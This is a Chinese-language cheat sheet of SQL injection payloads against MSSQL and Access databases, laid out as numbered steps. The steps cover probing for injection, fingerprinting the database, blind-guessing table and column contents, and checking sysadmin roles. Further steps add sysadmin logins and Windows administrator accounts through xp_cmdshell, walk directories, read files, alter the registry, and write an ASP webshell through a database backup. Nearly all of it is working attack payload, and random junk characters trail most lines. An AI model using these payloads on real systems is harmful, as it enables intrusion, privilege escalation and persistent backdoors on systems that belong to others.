1.判断是否有注入;and 1=1 ;and 1=2 >FOCdlJ#
2.初步判断是否是mssql ;and user>0 k]r4b`x`
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3.注入参数是字符'and [查询条件] and ''=' vw3[(_MV3_
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0%L:jq{5
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5.判断数据库系统 a*X{hU9P
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;and (select count(*) from sysobjects)>0 mssql >]ux3F3\
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;and (select count(*) from msysobjects)>0 access 62'9lriQ
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 uk$MQv*D
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 p\;8?x
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Un)Xe
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9.(1)猜字段的ascii值(access) +VW8{=$
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T|BlFJ0"
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(2)猜字段的ascii值(mssql) LB]3-FsU+
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &XcPHZy'
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10.测试权限结构(mssql) GEVDXx>@
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Jv3G\9_
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- RiR],Sj
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9QHj$)?k,
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- tF/Ni*\^rV
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 'Y
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3p HI+a
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;and 1=(select IS_MEMBER('db_owner'));-- 5p~5-_JX
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11.添加mssql和系统的帐户 "eTALRL'o
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;exec master.dbo.sp_addlogin username;-- j]%XY+e
;exec master.dbo.sp_password null,username,password;-- (r?hD*2r
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- l{^s4
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;exec master.dbo.xp_cmdshell 'net user username password |dHtv 6I
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _0^>^he
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7uw-1F5x7
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- vmNI$KZM
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12.(1)遍历目录 & uwOyb
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;create table dirs(paths varchar(100), id int) ^K J#dT
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;insert dirs exec master.dbo.xp_dirtree 'c:\' {*8G<&
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;and (select top 1 paths from dirs)>0 }zkFl{/u
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) [h
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(2)遍历目录 TT3GGHR
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?9eiT:2
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;C1#[U1Uy
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 RTg\c[=w
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4=y&}3om(0
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6q`)%"4k
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13.mssql中的存储过程 (5:pHX`P
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xp_regenumvalues 注册表根键, 子键 jbT{K|d-
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Hc|cA(9sh9
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xp_regread 根键,子键,键值名
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;exec xp_regread x)$0Nr62D
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 R@ Gll60
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xp_regwrite 根键,子键, 值名, 值类型, 值 /ET+`=n
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *""W`x
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xp_regdeletevalue 根键,子键,值名 ;P8%yf
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \WdSj
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 "s zJ[
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14.mssql的backup创建webshell jRDvVV/-wr
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use model ZpBP#Y*
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create table cmd(str image); W
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insert into cmd(str) values (''); NZ!I >
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backup database model to disk='c:\l.asp'; p_JWklg^
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15.mssql内置函数 s0x/2z
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;and (select @@version)>0 获得Windows的版本号 ug;\`.nT^
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa x`I Wo:j
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;and (select user_name())>0 爆当前系统的连接用户 x7i<dg&
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;and (select db_name())>0 得到当前连接的数据库 *|CvK&7
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16.简洁的webshell Q uw|KL
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use model /PR4ILed
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create table cmd(str image); vfm Y>nr
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insert into cmd(str) values (''); #O8=M(- V
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backup database model to disk='g:\wwwtest\l.asp';